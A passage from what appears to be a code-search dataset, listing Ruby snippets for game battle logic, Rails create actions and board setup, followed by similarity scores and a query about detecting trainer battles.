attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.fight\\n elsif attacker == tok2\\n hp1 += -attacker.fight\\n end\\n end\\n elsif roll == 4\\n if (defender.ice > attacker.fly)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s fly attack with it's high ice ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s fly attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.fly\\n elsif attacker == tok2\\n hp1 += -attacker.fly\\n end\\n end\\n elsif roll == 5\\n if (defender.fire > attacker.ice)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s ice attack with it's high fire ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s ice attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.ice\\n elsif attacker == tok2\\n hp1 += -attacker.ice\\n end\\n end\\n end\\n if attacker == tok1\\n attacker = tok2\\n defender = tok1\\n elsif attacker == tok2\\n attacker = tok1\\n defender = tok2\\n end\\n turn += 1\\n if turn == 1000\\n hp1 = 0\\n end\\n message += \\\"\\\\n#{tok1.name}'s HP: #{hp1} #{tok2.name}'s HP:#{hp2}\\\"\\n if hp1 <= 0\\n @battle.winner = @battle.tokimon2\\n message += \\\"\\\\n#{tok1.name} has fainted. #{tok2.name} is the winner.\\\\n\\\"\\n elsif hp2 <= 0\\n @battle.winner = @battle.tokimon1\\n message += \\\"\\\\n#{tok2.name} has fainted. #{tok1.name} is the winner.\\\\n\\\"\\n end\\n end\\n respond_to do |format|\\n if @battle.save\\n format.html { redirect_to @battle, notice: message }\\n format.json { render :show, status: :created, location: @battle }\\n else\\n format.html { render :new }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\\n end\",\n \"def create\\r\\n\\r\\n\\r\\n end\",\n \"def create\\n @g_game_board = GGameBoard.new(g_game_board_params)\\n\\n # By default : stark vs lannister\\n major_houses_code_name = %w( stark lannister )\\n\\n respond_to do |format|\\n if @g_game_board.save\\n HHouse.suzerains.each do |house|\\n if major_houses_code_name.include?( house.code_name )\\n @g_game_board.declare_major_houses( house )\\n else\\n @g_game_board.declare_minor_houses( house )\\n end\\n end\\n\\n @g_game_board.refresh_tokens\\n\\n format.html { redirect_to @g_game_board, notice: 'G game board was successfully created.' }\\n else\\n format.html { render :new }\\n end\\n end\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def new\\n @battle = Battle.new \\n @battle.user = current_user\\n\\n 2.times { @battle.hashtags.build }\\n end\",\n \"def create\\n @bingo_hall = BingoHall.new(name: bingo_hall_params[:name])\\n\\n respond_to do |format|\\n if @bingo_hall.save\\n bingo_board = @bingo_hall.bingo_boards.create\\n Player.create(name: bingo_hall_params[:player_name], bingo_board: bingo_board)\\n format.html { redirect_to @bingo_hall, notice: \\\"Bingo hall was successfully created.\\\" }\\n format.json { render :show, status: :created, location: @bingo_hall }\\n else\\n format.html { render :new, status: :unprocessable_entity }\\n format.json { render json: @bingo_hall.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def generate_new_game_data\\n associate_game_store_clue_entries(generate_random_neighborhoods)\\n @current_neighborhood = neighborhoods[0]\\n @last_correct_neighborhood = neighborhoods[0]\\n @next_correct_neighborhood = neighborhoods[1]\\n self.neighborhood = current_neighborhood\\n pick_suspect\\n self.save\\n end\",\n \"def create_infos(infos)\\n # info Create\\n infos.each do |record|\\n \\n # Start\\n info = info.new\\n \\n #Add data\\n info.name = record[:info_name]\\n info.short_name = record[:short_name]\\n info.industry_id = lookup_industry_id(record[:industry]) # format: 4e9fab7aa6c2321681000026 / lookup_industry_id(industry_name)\\n info.active = true \\n \\n # Save it!\\n if info.valid?\\n info.save!\\n puts \\\"The info #{record[:info_name]} has been added to the database.\\\" \\n else\\n puts \\\"Errors found with info: #{record[:info_name]}\\\"\\n puts \\\"ERRORS: #{info.errors.full_messages}\\\"\\n end\\n \\n puts \\\"---------------------------------------------------------------\\\"\\n end\\n puts \\\"DONE!\\\"\\n end\",\n \"def new_game \\n\\t\\t@game = create_game message[:player], message[:ships]\\n\\t\\tWebsocketRails[:updates].trigger(:created_game, @game)\\n\\tend\",\n \"def set_battle\\n # TODO: Not Found 時処理\\n @battle = Battle.find(params[:battle_id])\\n end\",\n \"def create\\n eqs = []\\n puts params\\n params[:boat][:equipments].each do |i|\\n eqs << Equipment.find(i)\\n end\\n params[:boat][:equipments] = eqs\\n @boat = Boat.new(params[:boat])\\n\\n respond_to do |format|\\n if @boat.save\\n format.html { redirect_to(@boat, :notice => 'Boat was successfully created.') }\\n format.xml { render :xml => @boat, :status => :created, :location => @boat }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create_new_game\\n create_new_party\\n $pokemon_party.expand_global_var\\n $trainer.redefine_var\\n $scene = Scene_Map.new\\n Yuki::TJN.force_update_tone\\n @running = false\\n end\",\n \"def create\\n @new_tile = NewTile.new(new_tile_params)\\n\\n respond_to do |format|\\n if @new_tile.save\\n format.html { redirect_to @new_tile, notice: 'New tile was successfully created.' }\\n format.json { render :show, status: :created, location: @new_tile }\\n else\\n format.html { render :new }\\n format.json { render json: @new_tile.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def battle_params\\n params[:battle].permit(:name, :desc, :end_date)\\n end\",\n \"def battletest_setup\\r\\n # Set up party for battle test\\r\\n $game_party.setup_battle_test_members\\r\\n # Set troop ID, can escape flag, and battleback\\r\\n $game_temp.battle_troop_id = $data_system.test_troop_id\\r\\n $game_temp.battle_can_escape = true\\r\\n $game_map.battleback_name = $data_system.battleback_name\\r\\n end\",\n \"def send_create_new_battle_on_client(units, shared_data, mana_data)\\n write_data [SEND_CREATE_NEW_BATTLE_ON_CLIENT_ACTION, @latency, @id, units, shared_data, mana_data]\\n end\",\n \"def create(fighter, bomber)\\n @fighter = fighter\\n @bomber = bomber\\n end\",\n \"def create\\n\\n @board, starting_plot, starting_plot_id = Board.create_new_board\\n\\n respond_to do |format|\\n @board.transaction do\\n if @board.save\\n add_players_to_board\\n\\n # GameData::LocationsMonsters.new.fill_board(@board)\\n\\n @board.create_monster( :mouth_of_sauron, :dol_guldur )\\n @board.create_monster( :black_serpent, :near_harad )\\n\\n @board.log( nil, 'setup.set_starting_plot', { plot_card: starting_plot_id } )\\n @board.log( nil, 'setup.set_influence_in_shadow_pool', { count: starting_plot.influence.shadow_pool } )\\n\\n starting_plot.influence.init.each do |key, value|\\n @board.log( nil, 'setup.set_influence_in_location', { count: value, location: key.to_s.humanize } )\\n end\\n\\n @board.set_plot nil, 1, starting_plot_id, starting_plot\\n\\n format.html { redirect_to boards_path, notice: 'Board was successfully created.' }\\n format.json { render :show, status: :created, location: @board }\\n else\\n format.html { render :new }\\n format.json { render json: @board.errors, status: :unprocessable_entity }\\n end\\n end\\n end\\n end\",\n \"def create\\n @tournament = Tournament.new(tournament_params)\\n\\n @tournament.qualifier_stage = false\\n @tournament.main_stage = false\\n\\n puts @tournament.name\\n puts @tournament.event\\n #below is for testing purposes, for Challonge\\n #if working, remove the comment\\n api = Challonge.new()\\n raw_response = api.create_tournament(@tournament.name, @tournament.event)\\n response = JSON.parse(raw_response)\\n @tournament.challonge_tournament_id = response[\\\"tournament\\\"][\\\"id\\\"]\\n respond_to do |format|\\n if @tournament.save\\n format.html { redirect_to @tournament, notice: 'Tournament was successfully created.' }\\n format.json { render :show, status: :created, location: @tournament }\\n else\\n format.html { render :new }\\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def fill_up(race)\\n race.max_teams.times do |x|\\n team = FactoryGirl.create :team, :name => \\\"team#{x}\\\"\\n race.registrations.create name: \\\"team#{x}\\\", team: team\\n end\\n end\",\n \"def new_tictactoe_board(created_by, friend_2)\\n\\n\\t\\t#verify that created_by exists in the users table\\n\\t\\tcreator = User.find_by_id(created_by)\\n\\t\\tplaymate = User.find_by_id(friend_2)\\n\\t\\treturn -1 if creator.nil? || playmate.nil?\\n\\n\\t\\tboard = Tictactoeboard.create(:gamelet_id => self.id, :win_code => NIL_OR_ERROR, :status => OPEN_GAME, :num_pieces_placed => 0, :winner => nil, :created_by => creator.id, :playmate => playmate.id, :whose_turn => CREATORS_TURN) # it's the creator's turn first\\n\\n\\t\\t#create all spaces/indicators and init them\\n\\t\\tfor i in 0..2\\n\\t\\t\\tnewRowIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => true, :row_or_col_index => i)\\n\\t\\t\\tnewColIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => false, :row_or_col_index => i)\\n\\t\\t\\t\\n\\t\\t\\tboard.tictactoeindicators << newRowIndicator\\n\\t\\t\\tboard.tictactoeindicators << newColIndicator\\n\\t\\t for j in 0..2\\n\\t\\t \\tcoordinate_int = i.to_s() + j.to_s()\\n\\t\\t \\tcoordinate_int = Integer(coordinate_int)\\n\\t\\t newSpace = Tictactoespace.create(:coordinates => coordinate_int, :available => true)\\n\\t\\t board.tictactoespaces << newSpace\\n\\t\\t end\\n\\t\\tend\\n\\n\\t\\t#create across indicators\\n\\t\\tnewAcrossIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => ACROSS_INDICATOR_IS_A_ROW, :row_or_col_index => ACROSS_INDICATOR_INDEX)\\n\\t\\tnewAcrossIndicator2 = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => ACROSS_INDICATOR_2_IS_A_ROW, :row_or_col_index => ACROSS_INDICATOR_2_INDEX)\\n\\t\\tboard.tictactoeindicators << newAcrossIndicator\\n\\t\\tboard.tictactoeindicators << newAcrossIndicator2\\n\\n\\t\\treturn board.id\\n\\tend\",\n \"def create_character(user, name: \\\"Testy McTesterson\\\", race: Race.first, starting_points: 20, starting_florins: 0, starting_death_thresholds: 10, state: \\\"active\\\", title: \\\"\\\", no_title: false, declared_on: 5.years.ago)\\n character = user.characters.create_with(race: race, starting_points: starting_points, starting_florins: starting_florins, starting_death_thresholds: starting_death_thresholds, state: state, title: title, declared_on: declared_on, no_title: no_title).find_or_create_by!(name: name)\\n guild_membership = character.guild_memberships.build\\n guild_membership.character = character\\n guild_membership.start_points = 0\\n guild_membership.declared_on = character.declared_on\\n guild_membership.provisional = false\\n guild_membership.approved = true\\n character.save!\\n character\\n end\",\n \"def create\\n @game = Game.find(params[:game_id])\\n if @game.password == params[:game_password] then\\n @team = Team.new\\n @team.name = params[:name]\\n @team.game_id = params[:game_id]\\n \\n @leader = Player.find(params[:leader_id])\\n @team.leader_id = @leader.id\\n\\n respond_to do |format|\\n if @team.save\\n format.xml { render :xml => @team, :status => :created, :location => @team }\\n format.json { render :json => @team, :status => :created, :location => @team }\\n @leader.team_id = @team.id\\n @leader.save\\n else\\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\\n end\\n end\\n else\\n head :unauthorized\\n end\\n end\",\n \"def create\\n\\t\\t@war = War.new(war_params)\\n\\t\\t@war.guild1 = current_user.guild\\n\\t\\t@war.points_to_win = 0 unless @war.points_to_win\\n\\t\\t@war.points1 = 0 unless @war.points1\\n\\t\\t@war.points2 = 0 unless @war.points2\\n\\t\\t@war.state = \\\"waiting for war times\\\"\\n\\n\\t\\trespond_to do |format|\\n\\t\\t\\tif @war.save\\n\\t\\t\\t\\tback_page = @war\\n\\t\\t\\t\\tback_page = URI(request.referer).path if params[:back]\\n\\t\\t\\t\\tformat.html { redirect_to back_page, notice: 'War was successfully created.' }\\n\\t\\t\\t\\tformat.json { render :show, status: :created, location: back_page }\\n\\t\\t\\telse\\n\\t\\t\\t\\tformat.html { broadcast_errors @war, (['guild2_id', 'start_at', 'end_at', 'points_to_win', 'all_match']) }\\n\\t\\t\\t\\tformat.json { render json: @war.errors, status: :unprocessable_entity }\\n\\t\\t\\tend\\n\\t\\tend\\n\\tend\",\n \"def initialize(battle_info)\\n # Call the initialize of GamePlay::Base (show message box at z index 10001)\\n super(false, 10_001)\\n @battle_info = battle_info\\n $game_temp.vs_type = battle_info.vs_type\\n $game_temp.trainer_battle = battle_info.trainer_battle?\\n $game_temp.in_battle = true\\n @logic = create_logic\\n @logic.load_rng\\n @logic.load_battlers\\n @visual = create_visual\\n @AIs = Array.new(count_ai_battler) { create_ai }\\n # Next method called in update\\n @next_update = :pre_transition\\n # List of the player actions\\n @player_actions = []\\n # Battle result\\n @battle_result = :draw\\n # All the event procs\\n @battle_events = {}\\n # Skip the next frame to go faster in the next update\\n @skip_frame = false\\n # Create the message proc\\n create_message_proc\\n # Init & call first event\\n load_events(logic.battle_info.battle_id)\\n call_event(:logic_init)\\n end\",\n \"def create\\n @tile = Tile.new(params[:tile])\\n\\n respond_to do |format|\\n if @tile.save\\n format.html { redirect_to @tile, notice: 'Tile was successfully created.' }\\n format.json { render json: @tile, status: :created, location: @tile }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @tile.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @lobby = Lobby.new(lobby_params.merge(code: SecureRandom.alphanumeric(6), status: 'pending'))\\n @player_master = Player.new(name: current_user.username, hat: current_user.hat, lobby: @lobby, user_id: current_user.id)\\n\\n ActiveRecord::Base.transaction do\\n @lobby.save!\\n @player_master.save!\\n session[:player_id] = @player_master.id\\n set_current_player\\n @current_player.update({ game_state: :pending })\\n end\\n\\n redirect_to @lobby, notice: \\\"Lobby was successfully created.\\\"\\n rescue ActiveRecord::RecordInvalid\\n flash[:error] = 'Lobby was not successfully created.'\\n render_flash\\n end\",\n \"def create_pokemon_battler_stack\\n @pkm_battler_stack = Pokemon_Battler_Stack.new(@viewport)\\n end\",\n \"def create\\n @tile = Tile.new(tile_params)\\n\\n respond_to do |format|\\n if @tile.save\\n format.html { redirect_to @tile, notice: 'Tile was successfully created.' }\\n format.json { render :show, status: :created, location: @tile }\\n else\\n format.html { render :new }\\n format.json { render json: @tile.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def battle\\n # Update the contest status\\n contest.batteling!\\n\\n # The Arena::Contest gem is stateless. It doesn't care about our arena\\n # api state or the battle pets api. All it cares about is figuring out the winner\\n winner_id = Arena::Contest.determine_winner(contest.contest_type, fetch_pets_to_battle)\\n\\n update_winner winner_id\\n end\",\n \"def create\\n \\n end\",\n \"def pbCreatePokemon\\n party = []\\n species = [:PIKACHU,:PIDGEOTTO,:KADABRA,:GYARADOS,:DIGLETT,:CHANSEY]\\n for id in species\\n party.push(getConst(PBSpecies,id)) if hasConst?(PBSpecies,id)\\n end\\n # Species IDs of the Jermon to be created\\n for i in 0...party.length\\n species = party[i]\\n # Generate Jermon with species and level 20\\n $Trainer.party[i] = PokeBattle_Pokemon.new(species,20,$Trainer)\\n $Trainer.seen[species] = true # Set this species to seen and owned\\n $Trainer.owned[species] = true\\n pbSeenForm($Trainer.party[i])\\n end\\n $Trainer.party[1].pbLearnMove(:FLY)\\n $Trainer.party[2].pbLearnMove(:FLASH)\\n $Trainer.party[2].pbLearnMove(:TELEPORT)\\n $Trainer.party[3].pbLearnMove(:SURF)\\n $Trainer.party[3].pbLearnMove(:DIVE)\\n $Trainer.party[3].pbLearnMove(:WATERFALL)\\n $Trainer.party[4].pbLearnMove(:DIG)\\n $Trainer.party[4].pbLearnMove(:CUT)\\n $Trainer.party[4].pbLearnMove(:HEADBUTT)\\n $Trainer.party[4].pbLearnMove(:ROCKSMASH)\\n $Trainer.party[5].pbLearnMove(:SOFTBOILED)\\n $Trainer.party[5].pbLearnMove(:STRENGTH)\\n $Trainer.party[5].pbLearnMove(:SWEETSCENT)\\n for i in 0...party.length\\n $Trainer.party[i].pbRecordFirstMoves\\n end\\nend\",\n \"def create\\n return\\n #Board.generate()\\n #@board = Board.new(params[:board])\\n\\n respond_to do |format|\\n #if @board.save\\n #format.html { redirect_to @board, :notice => 'Board was successfully created.' }\\n #format.json { render :json => @board, :status => :created, location: @board }\\n #else\\n format.html { render :action => \\\"new\\\" }\\n format.json { render :json => @board.errors, :status => :unprocessable_entity }\\n #end\\n end\\n end\",\n \"def create_game_board\\n\\t\\tnew_board = {}\\n\\t\\ti = 1\\n\\t\\t6.times do \\n\\t\\t\\tj = 1\\n\\t\\t\\t7.times do\\n\\t\\t\\t\\tcurrent_key = \\\"#{j}-#{i}\\\"\\n\\t\\t\\t\\tnew_board[current_key] = ConnectFourLocation.new\\n\\t\\t\\t\\tj += 1\\n\\t\\t\\tend\\n\\t\\t\\ti += 1\\n\\t\\tend\\n\\t\\treturn new_board\\n\\tend\",\n \"def create\\n @weapon_info = WeaponInfo.new(params[:weapon_info])\\n\\n respond_to do |format|\\n if @weapon_info.save\\n flash[:notice] = 'WeaponInfo was successfully created.'\\n format.html { redirect_to(@weapon_info) }\\n format.xml { render :xml => @weapon_info, :status => :created, :location => @weapon_info }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @weapon_info.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create_info_window\\n x = @command_window.right_corner\\n y = @help_window.bottom_corner\\n width = Graphics.width - x\\n @info_window = Window_RegistrationInfo.new(x, y, width)\\n @info_window.openness = 0 if $game_temp.registration_step == 0\\n end\",\n \"def create\\n #debugger\\n champ = Champion.find_or_create_by_code params[:game_ban].delete(:code)\\n @game_ban = GameBan.find_or_create_by_game_id_and_champion_id params[:game_ban].delete(:game_id), champ.id\\n @game_ban.update_attributes(params[:game_ban])\\n\\n respond_to do |format|\\n if @game_ban.save\\n format.html { redirect_to(@game_ban, :notice => 'GameBan was successfully created.') }\\n format.xml { render :xml => @game_ban, :status => :created, :location => @game_ban }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @game_ban.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create_info_bitmap\\n @info = Bitmap.new(Graphics.width-10, HEIGHT)\\n #draw_party_members(80, 2)\\n draw_save_number(85,60)\\n draw_bars\\n #draw_playTime(0, 98)\\n #draw_story(0,122)\\n #draw_gold(0,98)\\n #draw_location(0, 122)\\n end\",\n \"def new\\n\\t\\t@habit = Habit.new\\n\\tend\",\n \"def create_empty_info\\n @info_rect = Sprite.new(@viewport)\\n @info_rect.bitmap = @info\\n #@info_rect.ox = -165\\n end\",\n \"def create_game type\\n @game = Game.create(user_id:@user.id, game_type:type)\\n new_deck_for @game.id \\n end\",\n \"def create\\n @team = Team.new(team_params)\\n\\n respond_to do |format|\\n if @team.save\\n format.html { redirect_to @team, notice: 'Team was successfully created.' }\\n format.json { render action: 'show', status: :created, location: @team }\\n else\\n format.html { render action: 'new' }\\n format.json { render json: @team.errors, status: :unprocessable_entity }\\n end\\n end\\n\\n @membership = Membership.new(team_id: @team.id, player_id: @team.player_id)\\n @membership.save\\n end\",\n \"def create_save_info\\n @info = Bitmap.new(Graphics.width-10, HEIGHT)\\n @info_rect = Sprite.new(@viewport)\\n @info_rect.bitmap = @info\\n @info_rect.ox = -5#165\\n end\",\n \"def create_team_poolplay\\n pool = self.poolplay_teams # Team objects\\n save_team_play_to_database(tournament_id, pool, \\\"poolplay\\\")\\n end\",\n \"def create\\n @battalion = Battalion.new(params[:battalion])\\n \\n respond_to do |format|\\n if @battalion.save\\n flash[:notice] = 'Battalion was successfully created.'\\n format.html { redirect_to(@battalion) }\\n format.xml { render :xml => @battalion, :status => :created, :location => @battalion }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @battalion.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @internship = Internship.new(params[:internship])\\n\\n respond_to do |format|\\n if @internship.save\\n format.html { redirect_to @internship, notice: 'Internship was successfully created.' }\\n format.json { render json: @internship, status: :created, location: @internship }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @internship.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def new_game\\n @shots = []\\n boats = []\\n\\n BOAT_SIZES.each do |size|\\n boats << place_boat(size, boats)\\n end\\n boats\\n end\",\n \"def create\\n @ab_team = AbTeam.new(ab_team_params)\\n\\n respond_to do |format|\\n if @ab_team.save\\n format.html { redirect_to @ab_team, notice: 'Record was created.' }\\n format.json { render :show, status: :created, location: @ab_team }\\n else\\n format.html { render :new }\\n format.json { render json: @ab_team.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def new # the input\\n @game = Game.new\\n @game.new_game\\n end\",\n \"def create\\n \\n end\",\n \"def create_ai\\n return Battle::AI.new(self)\\n end\",\n \"def create_battlers\\n infos = @battle_scene.battle_info\\n (logic = @battle_scene.logic).bank_count.times do |bank|\\n # create the trainer sprites\\n infos.battlers[bank].each_with_index do |battler, position|\\n sprite = BattleUI::TrainerSprite.new(@viewport, battler, bank, position, infos)\\n store_battler_sprite(bank, -position - 1, sprite)\\n end\\n # Create the Pokemon sprites\\n infos.vs_type.times do |position|\\n sprite = BattleUI::PokemonSprite.new(@viewport)\\n sprite.pokemon = logic.battler(bank, position)\\n store_battler_sprite(bank, position, sprite)\\n create_info_bar(bank, position)\\n end\\n end\\n hide_info_bars(true)\\n end\",\n \"def set_next_battle_info\\n @next_battle_info = NextBattleInfo.find(params[:id])\\n end\",\n \"def initialize(fighter, bomber)\\n create(fighter, bomber)\\n end\",\n \"def create\\n @board_game = BoardGame.new(board_game_params)\\n\\n respond_to do |format|\\n if @board_game.save\\n format.html { redirect_to @board_game, notice: \\\"Board game was successfully created.\\\" }\\n format.json { render :show, status: :created, location: @board_game }\\n else\\n format.html { render :new, status: :unprocessable_entity }\\n format.json { render json: @board_game.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def next_battle_info_params\\n params.require(:next_battle_info).permit(:result_no, :generate_no, :party_no, :battle_type, :enemy_party_name_id, :member_num)\\n end\",\n \"def create_worldmap\\n @pokemon_worldmap = GamePlay::WorldMap.new(:pokedex, $env.get_worldmap)\\n @pokemon_worldmap.create_graphics\\n end\",\n \"def new_ambassadorship\\n @ambassadorship = Ambassadorship.new(ambassadorship_params)\\n end\",\n \"def commandnewgame_gamedata\\r\\n # Reset frame count for measuring play time\\r\\n Graphics.frame_count = 0\\r\\n # Make each type of game object\\r\\n $game_temp = Game_Temp.new\\r\\n $game_system = Game_System.new\\r\\n $game_switches = Game_Switches.new\\r\\n $game_variables = Game_Variables.new\\r\\n $game_self_switches = Game_SelfSwitches.new\\r\\n $game_screen = Game_Screen.new\\r\\n $game_actors = Game_Actors.new\\r\\n $game_party = Game_Party.new\\r\\n $game_troop = Game_Troop.new\\r\\n $game_map = Game_Map.new\\r\\n $game_player = Game_Player.new\\r\\n end\",\n \"def create\\n @lobby = Lobby.new(params[:lobby])\\n\\n respond_to do |format|\\n if @lobby.save\\n format.html { redirect_to(@lobby, :notice => 'Lobby was successfully created.') }\\n format.xml { render :xml => @lobby, :status => :created, :location => @lobby }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @lobby.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create_team(db, name, wins, losses, count)\\n stars = set_stars(count) # Set num of stars each team receives\\n quality = set_quality(stars) # Set quality of team, based on stars \\n\\n team_creation = <<-SQL\\n INSERT INTO teams (name, stars, quality, wins, losses)\\n VALUES (?, ?, ?, ?, ?)\\n SQL\\n\\n db.execute(team_creation, [name, stars, quality, wins, losses])\\nend\",\n \"def create new_vals, *args\\n raise \\\":create no longer accepts #{new_vals.inspect}\\\" if new_vals.is_a?(Symbol) \\n\\n @new_data = new_vals\\n\\n validate(:ip)\\n validate(:pass_word).required('Pass phrase is required.')\\n validate(:confirm_pass_word).required(\\\"Pass phrase confirmation is required.\\\")\\n\\n new_vals[:customer] = self\\n sn = Screen_Name.create(new_data)\\n\\n rec = TABLE.\\n returning(:id).\\n insert({\\n pswd_hash: encode_pass_word(clean_data[:pass_word]),\\n id: clean_data[:id]\\n }).first\\n\\n c = self.class.new rec\\n c\\n end\",\n \"def create\\n \\n @max_ships=50 \\n @ship_group = ShipGroup.new(ship_group_params)\\n @ship_name =Unit.find(@ship_group.unit_id).name\\n respond_to do |format|\\n if @ship_group.save\\n format.html { redirect_to @ship_group, notice: 'Ship group was successfully created.' }\\n format.json { render :show, status: :created, location: @ship_group }\\n else\\n format.html { render :new }\\n format.json { render json: @ship_group.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def new\\n @battle_environment = BattleEnvironment.new\\n\\n respond_to do |format|\\n format.html # new.html.erb\\n format.xml { render :xml => @battle_environment }\\n end\\n end\",\n \"def create_hotel(name:, address:)\\n Hotel.create(\\n name: name,\\n address: address\\n )\\nend\",\n \"def create\\n\\t\\tassignment = Assignment.new(assignment_params)\\n\\t if assignment.save\\n\\t \\t# Mark the boat as used.\\n\\t \\tputs \\\"before assign_boat\\\"\\n\\t \\tPeekBooker.assign_boat(assignment.boat_id)\\n\\t \\tputs \\\"after assign_boat\\\"\\n\\t \\t# Update the boat's data (availability/status)\\n\\t \\tPeekBooker.upd_boat_status(assignment.timeslot_id)\\n\\t \\trender json: assignment, status: 201\\n\\t end\\n\\tend\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.71550816","0.71293026","0.71012914","0.702264","0.6555384","0.6378138","0.63477886","0.62679654","0.62669903","0.6220579","0.60756266","0.6072717","0.60590327","0.6052676","0.59305406","0.59258044","0.5907688","0.58744466","0.58696544","0.58585614","0.58478427","0.5844785","0.5839097","0.58341825","0.5826732","0.58221257","0.58131605","0.57625353","0.57625353","0.57625353","0.5751755","0.57502174","0.5704837","0.5703694","0.5692298","0.5691792","0.5691792","0.5691792","0.5691792","0.5691588","0.5685481","0.5657779","0.5654335","0.56487757","0.56325203","0.5603048","0.5595425","0.55869985","0.5585017","0.5578377","0.5570051","0.55579287","0.55463916","0.554575","0.5543984","0.5543588","0.5537426","0.55322033","0.55308884","0.55287004","0.5511245","0.55100465","0.55036896","0.5500288","0.5495993","0.5491108","0.54863495","0.5481942","0.54633725","0.54620796","0.5459609","0.54591143","0.5458506","0.54525316","0.5450385","0.5450234","0.5449748","0.54448676","0.54432386","0.54417855","0.54225326","0.54156804","0.54148334","0.54052585","0.5405051","0.5402766","0.5401333","0.53954357","0.539009","0.5389742","0.5389143","0.5386884","0.5383618","0.53830606","0.5380148","0.5374873","0.53683454","0.5367113","0.53666055","0.53563386","0.5355931"],"string":"[\n \"0.71550816\",\n \"0.71293026\",\n \"0.71012914\",\n \"0.702264\",\n \"0.6555384\",\n \"0.6378138\",\n \"0.63477886\",\n \"0.62679654\",\n \"0.62669903\",\n \"0.6220579\",\n \"0.60756266\",\n \"0.6072717\",\n \"0.60590327\",\n \"0.6052676\",\n \"0.59305406\",\n \"0.59258044\",\n \"0.5907688\",\n \"0.58744466\",\n \"0.58696544\",\n \"0.58585614\",\n \"0.58478427\",\n \"0.5844785\",\n \"0.5839097\",\n \"0.58341825\",\n \"0.5826732\",\n \"0.58221257\",\n \"0.58131605\",\n \"0.57625353\",\n \"0.57625353\",\n \"0.57625353\",\n \"0.5751755\",\n \"0.57502174\",\n \"0.5704837\",\n \"0.5703694\",\n \"0.5692298\",\n \"0.5691792\",\n \"0.5691792\",\n \"0.5691792\",\n \"0.5691792\",\n \"0.5691588\",\n \"0.5685481\",\n \"0.5657779\",\n \"0.5654335\",\n \"0.56487757\",\n \"0.56325203\",\n \"0.5603048\",\n \"0.5595425\",\n \"0.55869985\",\n \"0.5585017\",\n \"0.5578377\",\n \"0.5570051\",\n \"0.55579287\",\n \"0.55463916\",\n \"0.554575\",\n \"0.5543984\",\n \"0.5543588\",\n \"0.5537426\",\n \"0.55322033\",\n \"0.55308884\",\n \"0.55287004\",\n \"0.5511245\",\n \"0.55100465\",\n \"0.55036896\",\n \"0.5500288\",\n \"0.5495993\",\n \"0.5491108\",\n \"0.54863495\",\n \"0.5481942\",\n \"0.54633725\",\n \"0.54620796\",\n \"0.5459609\",\n \"0.54591143\",\n \"0.5458506\",\n \"0.54525316\",\n \"0.5450385\",\n \"0.5450234\",\n \"0.5449748\",\n \"0.54448676\",\n \"0.54432386\",\n \"0.54417855\",\n \"0.54225326\",\n \"0.54156804\",\n \"0.54148334\",\n \"0.54052585\",\n \"0.5405051\",\n \"0.5402766\",\n \"0.5401333\",\n \"0.53954357\",\n \"0.539009\",\n \"0.5389742\",\n \"0.5389143\",\n \"0.5386884\",\n \"0.5383618\",\n \"0.53830606\",\n \"0.5380148\",\n \"0.5374873\",\n \"0.53683454\",\n \"0.5367113\",\n \"0.53666055\",\n \"0.53563386\",\n \"0.5355931\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171996,"cells":{"query":{"kind":"string","value":"Tell if the battle is a trainer battle"},"document":{"kind":"string","value":"def trainer_battle?\n !@names[1].empty?\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def in_battle?\n Game_Temp.in_battle\n end","def active_trainer?\n\t\t\tTrainer.find_by(user_id: current_user.id.to_i).active\n\t\tend","def main_battle_test?\r\n # If battle test\r\n if $BTEST\r\n battle_test\r\n return true\r\n end\r\n return false\r\n end","def pbTrainerCheck(tr_type, 